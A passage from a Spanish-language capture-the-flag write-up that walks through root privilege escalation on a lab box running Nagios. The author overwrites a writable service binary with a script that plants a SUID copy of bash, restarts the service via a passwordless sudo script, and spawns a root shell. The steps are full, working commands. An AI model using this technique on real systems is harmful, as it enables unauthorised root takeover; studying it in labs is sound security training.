if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; then
    # Adjust the shellinabox service, no trailing 'd' in Debian/Ubuntu
    if [ "$service" == "shellinaboxd" ]; then
        service="shellinabox"
    fi

    if [ `command -v systemctl` ]; then
        `which systemctl` --no-pager "$action" "$service" $args
        return_code=$?
    else
        `which service` "$service" "$action"
        return_code=$?
    fi
fi

# Others?

exit $return_code

Basados en los comentarios de uso del script, además del código en sí, este script parece parar, borrar, reiniciar e iniciar servicios dentro de la máquina.

Del output de LinPEAS noto que hay algunos archivos de services (servicios) que puedo modificar:

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/mariadb.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
You can't write on systemd PATH

Dado que podemos “escribir” en estos archivos, simplemente crearé un script de Bash para sobreescribir /usr/local/nagios/bin/npcd dado que esta es una de las opciones que el script manage_services.sh ofrece y, además, este es uno de los servicios los cuales podemos “sobreescribir” (el otro es nagios, el cual también puede ser explotado de manera similar). El archivo malicioso que crearé será:

#!/bin/bash
cp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x

El cual es un simple script que copia el binario de bash y le asigna permisos SUID a la copia.

Le asignamos permisos de ejecución al script malicioso y modificamos el archivo del servicio npcd:

nagios@monitored:~$ cp /usr/local/nagios/bin/npcd /tmp/npcd_copy # Creamos una copia de respaldo del archivo original

nagios@monitored:~$ nano /tmp/npcd # Creamos un archivo malicioso con el script descrito arriba

nagios@monitored:~$ chmod +x /tmp/npcd # Asignamos permisos de ejecucion para evitar problemas

nagios@monitored:~$ mv /tmp/npcd /usr/local/nagios/bin/npcd # Reemplazamos el archivo de servicio original por nuestro script malicioso

Luego, y ya que no requerimos proveer contraseña, corremos:

nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd

Y chequeo si el archivo fue creado:

nagios@monitored:~$ ls -la /tmp

total 2120
drwxrwxrwt 11 root   root      4096 May 10 23:32 .
drwxr-xr-x 19 root   root      4096 Mar 27 10:46 ..
drwxrwxrwt  2 root   root      4096 May 10 18:50 .font-unix
-rwsr-xr-x  1 root   root   1234376 May 10 23:32 gunzf0x
<SNIP>

¡Nuestro archivo está creado! Es Game Over. Corremos este archivo junto con la flag -p para hacerlo con permisos de ejecución del propietario y nos convertirnos en root:

nagios@monitored:~$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami
root

donde podemos, finalmente, obtener la flag del usuario root en el directorio /root.

~Happy Hacking